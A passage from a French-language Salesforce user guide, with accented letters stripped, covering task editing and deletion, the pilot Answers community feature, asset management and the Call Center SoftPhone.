5. Dans la liste des membres disponibles, cliquez sur les lments slectionner. Pour slectionner plusieurs lments
un par un, cliquez dessus tout en maintenant la touche Ctrl enfonce. Pour slectionner simultanment plusieurs lments
contigus, cliquez dessus tout en maintenant la touche Maj enfonce.
6. Cliquez sur les boutons Ajouter et Supprimer pour dplacer vos slections entre les listes.
7. Lorsque les options de votre choix figurent dans la liste Membres slectionns, cliquez sur Termin. Si les slections
comptent plus de 100 utilisateurs, vous devez les rduire pour pouvoir poursuivre.
8. Sur la page Nouvelle tche, vous voyez apparatre vos slections prs du champ Attribu . Le nombre total de tches
que vous crez apparat galement.
9. Entrez les dtails de la tche, tels que l'chance, le statut et les commentaires.
Remarque: Lors de l'attribution d'une tche plusieurs utilisateurs ou un groupe, la case Crer une srie
de tches rcurrentes est dsactive. Vous ne pouvez pas crer des tches rcurrentes de groupe.
10. Lorsque vous enregistrez la tche, les utilisateurs que vous avez slectionns reoivent des copies de cette tche. Ces copies
tant indpendantes et non relies les unes aux autres, vous pouvez parfaitement les modifier, les dplacer ou les supprimer
une une.
Conseil: Les groupes personnels sont pratiques pour organiser les utilisateurs en groupes qui ont un sens pour vous.
Pour obtenir des dtails, reportez-vous Cration et modification de groupes la page 136.

Voir aussi :
Cration de tches

Activits

Guide de l'utilisateur | Modification des tches | 1108

Modification des tches

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les tches :

Modifier les tches

Pour modifier une tche :

1. Cliquez sur l'objet de la tche depuis l'un des emplacements suivants :

La section Mes tches de l'onglet Accueil

La vue journalire du calendrier
Une vue de liste d'activits
La liste lie aux activits en cours sur un enregistrement associ
La liste d'historique des activits sur un enregistrement associ

2. Pour les tches non rcurrentes, cliquez sur Modifier.

3. Pour les tches qui font partie d'une srie rcurrente :

Pour modifier une occurrence de tche individuelle, slectionnez le sous-onglet Afficher la tche, puis cliquez sur
Modifier la tche.
Pour modifier une srie de tches complte, slectionnez le sous-onglet Afficher la srie, puis cliquez sur Modifier la
srie. Vous pouvez galement cliquer sur le lien Modifier la srie dans la section Rcurrence de la page de dtails.
Remarque: Notez les points suivants lors de la modification de tches rcurrentes :

Les modifications apportes une occurrence de tche individuelle sont crases si la srie de tches est mise
jour ultrieurement avec des informations diffrentes.
Si vous modifiez les dtails de la section de rcurrence de la srie, toutes les tches en cours faisant partie de la
srie sont supprimes et de nouvelles tches sont cres. Les modifications apportes des tches individuelles
en cours qui n'ont pas encore t appliques sont perdues.

4. Modifiez les champs de tche selon vos besoins.

Conseil:

Si le correcteur orthographique est activ pour votre organisation, cliquez sur Vrifier l'orthographe pour
contrler le contenu du champ Commentaires. Notez que le bouton Vrifier l'orthographe doit tre activ
sparment pour les vnements et les tches la page 363. Le correcteur orthographique ne prend pas en charge
toutes les langues prises en charge par Salesforce.com. Par exemple, le Thalandais, le Russe et les langues sur
deux octets telles que le Japonais, le Coren ou le Chinois, ne sont pas prises en charge.
Activez la case Envoyer une notification par e-mail pour envoyer une notification par e-mail au
bnficiaire de la tche lorsque vous l'enregistrez. Pour enregistrer l'tat actuel de la case comme votre rglage
personnel par dfaut, slectionnez Choisir comme paramtre par dfaut.
Vous ne pouvez pas modifier le statut d'une srie complte de tches rcurrentes. Pour changer le statut, vous
devez modifier chaque occurrence dans la srie rcurrente.

Activits

Guide de l'utilisateur | Suppression de tches rcurrentes | 1109

5. Cliquez sur Enregistrer.

Voir aussi :
Affichage des tches
Dfinition de rappels pour les activits

Suppression de tches rcurrentes

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour supprimer des tches rcurrentes :

Modifier les tches

Pour supprimer une occurrence unique de tche ou une srie de tches :

1. Cliquez sur l'objet de la tche depuis l'un des emplacements suivants :

La section Mes tches de l'onglet Accueil

La vue journalire du calendrier
Une vue de liste d'activits
La liste lie aux activits en cours sur un enregistrement associ
La liste d'historique des activits sur un enregistrement associ

2. Procdez comme suit :

Pour supprimer une occurrence de tche individuelle, slectionnez le sous-onglet Afficher la tche au-dessus des dtails
de la tche, puis cliquez sur Supprimer la tche.
Pour supprimer une srie de tches, slectionnez le sous-onglet Afficher la srie, cliquez sur Supprimer la srie, puis
sur OK pour confirmer la suppression.

Les tches supprimes sont places dans la Corbeille.

Remarque:
Lorsque vous supprimez une srie de tches :

Les occurrences de tches closes ne sont pas supprimes.

Seules les occurrences de tches futures sont places dans la Corbeille.

Activits

Guide de l'utilisateur | Suppression de tches rcurrentes | 1110

Pour restaurer une srie partir de la Corbeille, vous devez restaurer chaque occurrence de tche. Salesforce.com
restaure la srie et les dtails de tches spcifiques l'occurrence.

Voir aussi :
Cration de tches
Modification des tches
Affichage des tches

Rponses
Prsentation des rponses
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Rponses :

Lire les rponses

Pour voter pour des rponses :

Lire les rponses

Pour crer des questions et y rpondre :

Crer des rponses

Pour modifier des questions et des rponses :

Modifier des rponses

Pour supprimer des questions et des rponses :

Supprimer des rponses

Cette fonctionnalit de l'application Communaut permet aux utilisateurs de poster des questions auxquelles les membres de
la communaut peuvent rpondre. Les membres de la communaut notent ensuite l'intrt de chaque rponse.
Remarque: Les rponses sont disponibles via un programme pilote. Pour plus d'informations sur l'activation de la
fonctionnalit des rponses, contactez salesforce.com.
L'onglet Rponses rpertorie des informations gnrales sur chaque question poste vers une communaut, notamment le nom
de l'utilisateur qui a cr la question et la communaut dans laquelle rside la question. Sous l'onglet Rponses, vous pouvez
effectuer les oprations suivantes :

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise.
Cliquez sur Nouvelle question pour crer une question.
Cliquez sur Modifier en regard d'une question pour modifier les dtails de la question.
Cliquez sur Suppr en regard d'une question pour la supprimer, avec toutes les rponses associes.
Cliquez sur le titre de la question pour ouvrir la page de dtails de la question qui affiche les rponses et les votes associs
cette question.
Dans la colonne Surnom de la communaut, cliquez sur le nom de l'utilisateur qui a cr la question pour afficher sa page
de dtails.
Cliquez sur le nom de la communaut pour afficher la page des dtails de la communaut.
Utilisez la recherche du menu latral et la recherche avance pour retrouver des questions spcifiques.
La recherche du menu latral porte seulement sur les titres des questions. Elle comprend toutefois le corps de la question
et les rponses associes.
Remarque: Les utilisateurs du portail client et du portail partenaire peuvent afficher uniquement les questions des
communauts affiches dans leur portail. Les utilisateurs de Salesforce.com voient les questions de toutes les
communauts.

Rponses

Guide de l'utilisateur | Cration et modification de questions | 1112

Seuls les administrateurs disposent d'autorisations compltes en lecture, cration, modification et suppression des rponses.
Par dfaut, les utilisateurs standard et du portail disposent uniquement d'autorisations en lecture et cration.

Voir aussi :
Personnalisation des paramtres de Rponses

Cration et modification de questions

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Rponses :

Lire les rponses

Pour voter pour des rponses :

Lire les rponses

Pour crer des questions et y rpondre :

Crer des rponses

Pour modifier des questions et des rponses :

Modifier des rponses

Pour supprimer des questions et des rponses :

Supprimer des rponses

Remarque: Les rponses sont disponibles via un programme pilote. Pour plus d'informations sur l'activation de la
fonctionnalit des rponses, contactez salesforce.com.

Cration de questions
Pour crer une question :
1. Utilisez la zone de recherche du menu latral pour vous vrifier si votre question n'a pas dj t poste. Les doublons ou
les questions trs proches dans la mme communaut n'aident pas les utilisateurs finaux choisir la question laquelle
rpondre.
2. Sous l'onglet Rponses, cliquez sur Nouvelle question. Vous pouvez galement slectionner Question dans la liste
droulante Crer un nouveau du menu latral.
3. Dans le champ Communaut, spcifiez la communaut dans laquelle vous souhaitez afficher cette rponse.
4. Dans le champ Titre, saisissez un titre court et descriptif pour la question.
5. Dans le champ Corps de la question, saisissez une explication dtaille de la question. Vous pouvez galement
utiliser l'diteur HTML pour formater votre texte.
6. Cliquez sur Enregistrer ou sur Enregistrer et Nouveau pour enregistrer la question actuelle et en ajouter une autre.
La question que vous crez s'affiche sous l'onglet Rponses.
Modification et suppression de questions
Si vous disposez de l'autorisation Modifier sur les rponses, vous pouvez modifier et supprimer une question ecistante :
1. Sous l'onglet Rponses, cliquez sur le titre de la question.
2. Cliquez sur Modifier. Vous pouvez galement cliquer sur Supprimer pour supprimer la question.

Rponses

Guide de l'utilisateur | Affichage et modification de questions | 1113

3. Modifiez la communaut, le titre et le corps si ncessaire.

4. Cliquez sur Enregistrer.

Voir aussi :
Cration et modification de communauts
Prsentation des rponses

Affichage et modification de questions

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Rponses :

Lire les rponses

Pour voter pour des rponses :

Lire les rponses

Pour crer des questions et y rpondre :

Crer des rponses

Pour modifier des questions et des rponses :

Modifier des rponses

Pour supprimer des questions et des rponses :

Supprimer des rponses

Remarque: La fonctionnalit Rponses est actuellement disponible via un programme pilote. Pour plus d'informations
sur l'activation de la fonctionnalit des rponses, contactez salesforce.com.
Lorsque vous avez repr une question sous l'onglet Rponses, cliquez sur le titre de la question pour afficher ses dtails. Dans
la page de dtails de la question, vous pouvez effectuer les oprations suivantes :

Cliquer sur Modifier pour changer le titre ou le corps de la question.

Cliquer sur Supprimer pour retirer une question et toutes les rponses associes de la communaut.
Vrifier si une question a reu une rponse valide.
Une question peut avoir plusieurs rponses, mais une seule peut tre marque comme meilleure rponse. Lorsqu'une rponse
est marque comme la meilleure, le champ Rpondu est activ dans la page de dtails de la question et le champ Meilleure
rponse inclut un lien vers la meilleure rponse.

Cliquez sur Marquer comme non rpondu pour effacer la meilleure rponse actuelle. Ce bouton s'affiche uniquement si
une rponse a dj t marque comme la meilleure rponse.
Seul l'administrateur Salesforce.com et l'utilisateur qui post la question peuvent la marquer comme non rpondu.

Utilisez la liste associe Rponses pour afficher tous les messages posts en rponse la question.

Voir aussi :
Prsentation des rponses

Rponses

Guide de l'utilisateur | Affichage et modification des rponses | 1114

Affichage et modification des rponses

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Rponses :

Lire les rponses

Pour voter pour des rponses :

Lire les rponses

Pour crer des questions et y rpondre :

Crer des rponses

Pour modifier des questions et des rponses :

Modifier des rponses

Pour supprimer des questions et des rponses :

Supprimer des rponses

Remarque: Les rponses sont disponibles via un programme pilote. Pour plus d'informations sur l'activation de la
fonctionnalit des rponses, contactez salesforce.com.
Affichage des rponses
Lorsque vous lisez une rponse qui vous intresse sous l'onglet Rponses, cliquez sur le titre de la question pour afficher
une liste de toutes les rponses associes dans la liste associe Rponses. Vous pouvez cliquer sur le corps de la rponse
pour afficher sa page de dtails et la liste associe Votes.
Modification et suppression d'une rponse
Vous pouvez modifier et supprimer une rponse dans la liste associe Rponses et la page de dtails de la rponse.
Lorsque vous supprimez une rponse, tous les votes associs sont galement supprims.
Rpondre une question
Pour rpondre une question, procdez comme suit :
1. Sous l'onglet Rponses, cliquez sur le titre de la question laquelle vous souhaitez rpondre.
2. Dans la liste associe Rponses, cliquez sur Nouvelle rponse.
3. Saisissez votre rponse dans l'espace prvu. Vous pouvez galement utiliser l'diteur HTML pour formater votre
texte.
4. Cliquez sur Enregistrer.
Votre rponse est poste en haut de la liste associe Rponses. Vous pouvez rpondre plusieurs fois la mme question.
Voter pour une rponse
Les votes identifient les rponses une question les plus pertinentes (ou inutiles). Si vous pensez qu'une rponse est
particulirement utile, cliquez sur Vote positif pour identifier la rponse comme pertinente. Si vous doutez d'une rponse
parce qu'elle contient des informations incorrectes ou imprcises, cliquez sur Vote ngatif pour l'identifier comme non
pertinente.
Pour votre pour une rposne, procdez comme suit :

Rponses

Guide de l'utilisateur | Affichage et modification des rponses | 1115

1. Sous l'onglet Rponses, cliquez sur la question dont vous trouvez la rponse utile ou inutile.
2. Dans la liste associe Rponses, cliquez sur la rponse approprie.
3. Cliquez sur Vote positif ou sur Vote ngatif.
Votre vote s'affiche dans la liste associe Votes de la page de dtails de la rponse, et dans la liste associe Rponses
de la page de dtails de la question.
Notez les lements suivants concernant les votes :

Vous ne pouvez pas voter pour votre propre rponse.

Vous ne pouvez pas voter plusieurs fois pour la mme rponse.
Vous ne pouvez pas modifier votre vote.

Marquage de la meilleure rponse

Aprs avoir post une question et reu quelques rponses, vous pouvez identifier la rponse la plus utile. Vous aidez ainsi
les membres identifier la rponse susceptible de fournir les informations les plus pertinentes. Chaque question ne peut
avoir qu'une seule meilleure rponse.
Seul l'administrateur Salesforce.com et l'utilisateur qui post la question peuvent marquer une rponse comme la meilleure.
1. Sous l'onglet Rponse, cliquez sur le titre de la question.
2. Dans la liste associe Rponses, cliquez sur la meilleure rponse. Utilisez la colonne Votes positifs pour identifier la
rponse que les membres de la communaut ont jug la plus pertinente votre question.
3. Cliquez sur Marquer comme meilleure rponse.
Une fois une rponse identifie comme la meilleure, le champ Meilleure rponse de la page de dtails de la
question identifie la rponse comme tant la meilleure.
Lorsqu'une rponse est marque comme la meilleure :

Les membres de la communaut peuvent continuer de poster des rponses et de voter pour elles.
Si une rponse que vous jugez meilleure est poste ultrieurement, vous pouvez la marquer comme nouvelle meilleure
rponse.
Pour effacer une question ainsi que la rponse juge comme la meilleure, accdez la page de dtails de la question,
puis cliquez sur Marquer comme non rpondu.

Voir aussi :
Prsentation des rponses

Rponses

Guide de l'utilisateur | Personnalisation des paramtres de Rponses | 1116

Personnalisation des paramtres de Rponses

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour personnaliser les paramtres de Rponses :

Personnaliser l'application

Rponses est une fonctionnalit de l'application Community qui permet aux utilisateurs de poster des questions auxquelles les
membres de la communaut peuvent rpondre. Les membres de la communaut notent ensuite l'intrt de chaque rponse.
Remarque: La fonctionnalit Rponses est actuellement disponible via un programme pilote. Pour plus d'informations
sur l'activation de la fonctionnalit des rponses, contactez salesforce.com.
Pour activer la fonctionnalit Rponses :
Remarque: Une fois actives, vous ne pouvez pas dsactiver les rponses.

1. Cliquez sur Configuration Personnalisation Rponses Paramtres.

2. Cliquez sur Modifier.
3. Utilisez la case Activer les rponses afin d'activer cette fonctionnalit pour votre organisation.
L'activation des rponses affiche l'onglet Rponses dans l'application Communaut et indique les communauts actives
dans l'interface utilisateur.
4. Cliquez sur Enregistrer.

Voir aussi :
Prsentation des rponses
Cration et modification de communauts

Rponses

Guide de l'utilisateur | Affichage des listes de rponses | 1117

Affichage des listes de rponses

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les rponses :

Lire les rponses

Remarque: Les rponses sont disponibles via un programme pilote. Pour plus d'informations sur l'activation de la
fonctionnalit des rponses, contactez salesforce.com.
La page liste de rponses affiche les rponses relatives une question spcifique : partir de cette page, vous pouvez afficher
des informations dtailles sur la rponse et accder des informations associes.

Cliquez sur le corps d'une rponse pour afficher ses dtails. Cliquez sur Modifier ou sur Suppr pour modifier ou supprimer
la rponse.
Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.
Cliquez sur un en-tte de colonne pour trier les rponses selon les informations de cette colonne. Par exemple, pour afficher
les rponses qui recueillent le plus grand nombre de votes positifs, cliquez sur la colonne Votes positifs.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe de rponses suivant ou prcdent.
Au bas de la vue de liste, cliquez sur moins ou sur plus pour afficher une liste plus courte ou plus longue.

Voir aussi :
Prsentation des rponses
Affichage et modification des rponses

Utilisation de la liste associe Rponses

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer une rponse :

Crer des rponses

Pour modifier une rponse :

Modifier des rponses

Pour supprimer une rponse :

Supprimer des rponses

Remarque: La fonctionnalit Rponses est actuellement disponible via un programme pilote. Pour plus d'informations
sur l'activation de la fonctionnalit des rponses, contactez salesforce.com.

Rponses

Guide de l'utilisateur | Utilisation de la liste associe Votes | 1118

La liste associe Rponses affiche les cinq rponses les plus rcentes une question spcifique et comprend des informations
gnrales sur chaque rponse, telles que le nombre de membres de la communaut qui ont jug la rponse utile ou inutile, et
le surnom dans la communaut de l'utilisateur qui a post la rponse. Cette liste associe s'affiche dans la page de dtails des
questions.
Dans la liste associe Rponses, vous pouvez effectuer les oprations suivantes :

Cliquer sur Nouvelle rponse pour poster une rponse une question.
Cliquer sur Modifier pour modifier la rponse.
Cliquer sur Suppr en regard d'une rponse pour la supprimer de la question. Tous les votes associs la rponse sont
galement supprims.
Cliquer sur le corps de la rponse pour afficher la page de dtails de la rponse.
Cliquer sur Aller la liste en bas de la liste pour afficher la page de liste de rponses. Par dfaut, Aller la liste s'affiche
uniquement lorsque le nombre de rponses postes est suprieur cinq.

Voir aussi :
Prsentation des rponses
Affichage et modification des rponses

Utilisation de la liste associe Votes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les votes :

Lire les rponses

Pour supprimer les votes :

Supprimer des rponses

Remarque: La fonctionnalit Rponses est actuellement disponible via un programme pilote. Pour plus d'informations
sur l'activation de la fonctionnalit des rponses, contactez salesforce.com.
Laliste associe Votes affiche tous les votes qui ont t donns une rponse spcifique. partir de cette liste associe, vous
pouvez :

Cliquer sur Suppr pour supprimer le vote.

Afficher le type de vote.
Un vote positif indique que l'utilisateur a jug la rponse utile et un vote ngatif indique qu'un utilisateur a jug la rponse
inutile.

Rponses

Guide de l'utilisateur | Affichage des listes de votes | 1119

Afficher le surnom de communaut de l'utilisateur qui a vot. Vous pouvez galement cliquer sur le surnom pour afficher
la page de dtails de l'utiisateur.

Voir aussi :
Prsentation des rponses
Affichage et modification des rponses

Affichage des listes de votes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les votes :

Lire les rponses

Pour supprimer des votes :

Supprimer des rponses

Remarque: La fonctionnalit Rponses est actuellement disponible via un programme pilote. Pour plus d'informations
sur l'activation de la fonctionnalit des rponses, contactez salesforce.com.
La page liste de votes affiche les votes relatifs une question spcifique : partir de cette page, vous pouvez afficher des
informations dtailles sur les votes et accder des informations associes.

Cliquez sur Suppr pour supprimer un vote cette question.

Cliquez sur un en-tte de colonne pour trier les votes selon les informations de cette colonne. Par exemple, pour regrouper
les votes positifs et les votes ngatifs, cliquez sur l'en-tte de la colonne Type.
Cliquez sur le lien du surnom de communaut pour afficher des informations sur l'utilisateur qui a vot.
Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe de contacts suivant ou prcdent.
En bas de la vue de liste, cliquez sur moins ou sur plus pour afficher une liste plus courte ou plus longue.

Voir aussi :
Utilisation de la liste associe Votes

Actifs
Prsentation des actifs
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Les produits reprsentent les lments que vend votre entreprise et les actifs sont les produits spcifiques achets par vos clients,
y compris le numro de srie, la date d'achat ou tout autre renseignement concernant une vente prcise. Selon l'utilisation des
actifs que fait l'entreprise, ils peuvent reprsenter le produit d'un concurrent que possde votre client ou diffrentes versions
de vos produits.
Utilisez les actifs pour stocker des renseignements spcifiques concernant les produits que possdent vos clients. En fonction
de la prsentation des pages, vous pouvez afficher les listes associes aux actifs sur la prsentation des pages de compte, de
contact et de produit.

Voir aussi :
Mise en route - Actifs

Mise en route - Actifs

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Si votre organisation a activ les produits, les actifs sont automatiquement activs. Les administrateurs doivent malgr tout
personnaliser leur organisation pour permettre aux utilisateurs d'employer les actifs. Pour mettre en uvre les actifs de votre
organisation :

Ajoutez la liste associe des actifs la prsentation des pages de compte, de contact et de produit. Les utilisateurs peuvent
crer des actifs partir de ces listes associes. Pour obtenir des instructions sur le changement de prsentation de page,
reportez-vous Personnalisation des prsentations de page la page 546.
Ajoutez la liste associe des requtes aux prsentations de page de produit et d'actif adquates.
Ajoutez le champ Actif aux prsentations de page de vos requtes. Modifiez ventuellement les paramtres de scurit
du champ Actif de manire ce qu'il apparaisse ou s'il est ncessaire votre entreprise. Reportez-vous Configuration
de la scurit au niveau du champ la page 182 pour obtenir des instructions sur le changement de scurit au niveau du
champ.
Par dfaut, vos utilisateurs disposent des autorisations en lecture, cration, modification et suppression sur les actifs. Si
ncessaire, passez en revue les autorisations associes aux profils utilisateur. Sans autorisation en lecture sur les actifs, les
utilisateurs ne peuvent pas afficher les actifs ou les listes associes aux actifs dans Salesforce.com. Pour plus d'informations
sur les autorisations de profil, reportez-vous Gestion des profils la page 108.
Personnalisez ventuellement les champs et les prsentations de page d'actifs en cliquant sur Configuration
Personnalisation Actifs.

Actifs

Guide de l'utilisateur | Affichage et modification d'actifs | 1121

Affichage et modification d'actifs

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des actifs :

Autorisation de lecture sur les actifs

Pour modifier des actifs :

Autorisation de modification sur les comptes

partir de l'onglet Produits, vous pouvez afficher un actif, un compte ou un contact associ.
Affichage d'actifs
Une fois que vous avez repr un actif dans la liste associe ou dans les pages de liste ou d'accueil des produits, cliquez
sur son nom pour afficher des informations dtailles.
Conseil: Si votre organisation a activ les dtails de placement, survolez un champ de recherche dans la page
de dtails pour afficher les principales informations relatives un enregistrement avant de cliquer sur la page de
dtails correspondante.
Modification d'actifs
Pour mettre jour les dtails d'actifs, cliquez sur Modifier, puis modifiez le champ que vous souhaitez mettre jour.
Lorsque vous avez termin, cliquez sur Enregistrer.
Remarque: Si votre organisation a activ la modification en ligne, vous pouvez modifier les champs directement
dans la page de dtails.

Marquage d'actifs
Si les balises ont t actives, cliquez sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement
sous la barre de titre colore pour marquer l'enregistrement actuel. Si l'enregistrement a dj t balis, cliquez sur un
noms de balise pour afficher une liste de tous les enregistrements contenant cette balise.
Listes associes d'actifs
Sous les dtails d'actifs figurent des listes associes qui regroupent des informations sur les requtes, les activits, les notes
et les pices jointes associes. Les listes associes qui s'affichent dpendent de vos paramtres et de ceux dfinis par votre
administrateur pour la prsentation des pages. Vous pouvez cliquer sur des lments individuels pour en afficher les
dtails supplmentaires. Cliquez sur plus au bas de la page ou sur Afficher plus d'informations sous une liste associe
pour afficher d'autres lments.
Impression d'actifs
Pour afficher une vue imprimable de toutes les informations sur un enregistrement, cliquez sur Vue imprimable dans la
page de dtails.

Actifs

Guide de l'utilisateur | Suppression d'actifs | 1122

Pour revenir la dernire page de liste affiche, cliquez sur Retour la liste en haut de la page de dtails de l'actif. Si votre
organisation a activ l'option de rduction des sections de page, utilisez les icnes reprsentant des flches prs des en-ttes
de section pour dvelopper ou rduire chaque section de la page des dtails. Reportez-vous Navigation la page 12 pour en
savoir plus.
Remarque: Les utilisateurs peuvent afficher un actif s'ils peuvent visualiser le compte ou le contact rpertori sur cet
actif. Toutefois, le partage de paramtres peut empcher les utilisateurs d'afficher le compte associ au contact sur
l'actif.

Voir aussi :
Suppression d'actifs

Suppression d'actifs
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des actifs :

Autorisation de lecture sur les actifs

Pour supprimer des actifs :

Autorisation de suppression sur les actifs

Pour rcuprer des actifs supprims :

Autorisation de suppression sur les actifs

Les actifs tant associs des enregistrements de compte et de contact, vous pouvez les supprimer de ces enregistrements ou
un par un via l'onglet Produits. Avant de supprimer un actif, passez en revue les scnarios suivants :

L'actif est-il associ une requte ?

Les actifs associs des requtes ne peuvent pas tre supprims. Cette remarque concerne galement les enregistrements
de compte ou de contact associs un actif rpertori sur une requte.

L'actif est-il associ un produit ?

Lorsque l'actif concerne un produit, la suppression de ce dernier n'entrane pas celle de l'actif.

L'actif est-il associ un compte ou un contact ?

Si vous supprimez un compte ou un contact, tous les actifs associs sont galement supprims et dplacs vers la Corbeille.
Sachez que si vous supprimez un compte dot d'un contact associ un actif, les trois enregistrements sont supprims.
Pour restaurer ces enregistrements, rtablissez l'enregistrement du compte.
Remarque: Vous pouvez supprimer un actif sans supprimer les enregistrements associs. Toutefois, si vous supprimez
ultrieurement l'enregistrement associ, vous ne pouvez pas rcuprer l'actif dans la Corbeille.

Pour supprimer un actif :

Actifs

Guide de l'utilisateur | Suppression d'actifs | 1123

1. Reprez l'actif dans la liste associe correspondante d'un compte ou d'un contact, ou dans la vue de liste d'actifs de l'onglet
Produits.
2. Cliquez sur Suppr ct de l'actif supprimer.
3. Cliquez sur OK.

Voir aussi :
Corbeille
Suppression en masse de donnes

Centre d'Appels
Qu'est-ce que Salesforce CRM Call Center Edition ?
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Salesforce CRM Call Center intgre de faon transparente Salesforce.com des systmes de couplage tlphonie-informatique
(CTI) tiers. Une fois un programme lger d'adaptateur CTI install sur son ordinateur, l'utilisateur Salesforce.com a accs aux
fonctionnalits d'un systme CTI via le SoftPhone Salesforce.com, un outil de contrle des appels personnalisable qui s'affiche
dans le menu latral des pages Salesforce.com.
SoftPhone permet aux utilisateurs de Salesforce.com :

Passer des appels en composant un numro dans le SoftPhone, en choisissant un numro dans un annuaire en ligne, ou en
cliquant sur un numro de tlphone dans un contact, une piste, une activit ou un compte
Recevoir des appels
Afficher rapidement tous les enregistrements Salesforce.com associs l'appel, tels que les contacts, les requtes ou les
comptes
Transfrer des appels
Lancer une audioconfrence
Mettre les appelants en attente
Joindre des enregistrements des appels
Gnrer des journaux d'appels automatiquement

Les administrateurs peuvent configurer Salesforce CRM Call Center en :

Modifiant les prsentations SoftPhone et en les attribuant des profils utilisateur slectionns
Ajoutant des numros de tlphone aux annuaires des centres d'appels

Les dveloppeurs peuvent utiliser les bibliothques de codes Salesforce CRM Call Center pour :

Personnaliser les fonctionnalits des adaptateurs CTI existants

Concevoir de nouveaux adaptateurs CTI pour les systmes tlphoniques qui ne sont pas encore pris en charge

Pour plus d'informations sur l'utilisation de Salesforce CRM Call Center, en tant qu'utilisateur de centre d'appels, reportez-vous
Utilisation d'un SoftPhone la page 1126.
Pour plus d'informations sur le dploiement et la personnalisation de Salesforce CRM Call Center, en tant qu'administrateur,
reportez-vous Configuration deSalesforce CRM Call Center la page 1141.
Pour savoir comment personnaliser et crer des adaptateurs CTI, en tant que dveloppeur, reportez-vous au manuel CTI
Toolkit Developer's Guide.

Voir aussi :
Configuration minimale requise pour Salesforce CRM Call Center
Dploiement d'adaptateurs sur des ordinateurs de centre d'appels

Centre d'Appels

Guide de l'utilisateur | propos des SoftPhones | 1125

propos des SoftPhones

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Un SoftPhone est un outil de contrle des appels personnalisable qui s'affiche dans le menu latral des pages Salesforce.com
si un utilisateur est affect un centre d'appels et travaille sur un ordinateur quip d'un adaptateur CTI. Bien que les SoftPhone
peuvent tre largement personnaliss par les administrateurs et dveloppeurs Salesforce.com, la plupart comprennent les
composants ci-dessous
Zone d'tat du centre d'appels
Cette zone contient une liste droulante permettant l'utilisateur d'indiquer s'il est prt recevoir des appels. Pour plus
d'informations, reportez-vous Modification de l'tat du centre d'appels la page 1128.
En-tte relatif la ligne tlphonique
Cette zone indique le statut de la ligne tlphonique via une icne de statut qui change de couleur et clignote ( ) et une
description textuelle. L'utilisateur peut cliquer sur le nom de la ligne (Ligne 1) pour afficher/masquer la zone des
informations sur l'appel et le clavier tlphonique correspondants.
Zone des informations sur l'appel
Cette zone contient les donnes lies l'appel, telles que le numro du tlphone partir duquel le client a appel, la
dure de l'appel et les liens vers tous les enregistrements Salesforce.com associs l'appel.
Zone des boutons relatifs l'appel
Cette zone contient des boutons permettant l'utilisateur d'excuter des commandes d'appel, savoir numroter,
raccrocher, mettre un appelant en attente, transfrer un appel, crer un appel en confrence et ouvrir une deuxime ligne
lors d'un appel. Pour plus d'informations, reportez-vous Utilisation d'un SoftPhone la page 1126.
Zone du journal des appels actuels
Cette zone affiche des informations issues du journal relatif l'appel. Par dfaut, le champ Objet comprend la date et
l'heure de l'appel, mais les utilisateurs peuvent modifier ce champ s'ils le souhaitent. Le champ Nom permet aux utilisateurs
d'indiquer un contact, une piste ou un compte personnel associ, alors que le champ Associ leur permet de joindre
un enregistrement Salesforce.com supplmentaire au journal des appels ds la fin de l'appel. Les utilisateurs peuvent
saisir des informations supplmentaires concernant l'appel dans la zone de texte Commentaires. Les journaux des appels
sont conservs dans un enregistrement d'activit rcuprable partir de la zone des appels rcents du SoftPhone ou de
la liste associe Historique des activits des enregistrements associs. Pour plus d'informations, reportez-vous Cration
de journaux des appels dans le SoftPhone la page 1137.
Zone des appels rcents
Cette zone contient les journaux enregistrs pour les appels rcents. Cliquez sur le lien Objet d'un journal pour ouvrir
la page de dtails du journal d'appels, ou sur le nom ou le lien Associ d'un journal pour ouvrir l'enregistrement
associ. Cliquez sur Modifier pour rouvrir un journal d'appel afin de le modifier dans la fentre SoftPhone.
Rapport Mes appels du jour
Ce lien affiche un rapport de tous les appels passs ou reus au cours du dernier jour.

Centre d'Appels

Guide de l'utilisateur | Configuration minimale requise pour Salesforce CRM Call Center | 1126

Logo SoftPhone
Cette zone contient un logo personnalisable pour chaque adaptateur CTI.

Voir aussi :
Qu'est-ce que Salesforce CRM Call Center Edition ?
Utilisation d'un SoftPhone

Configuration minimale requise pour Salesforce CRM Call

Center
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

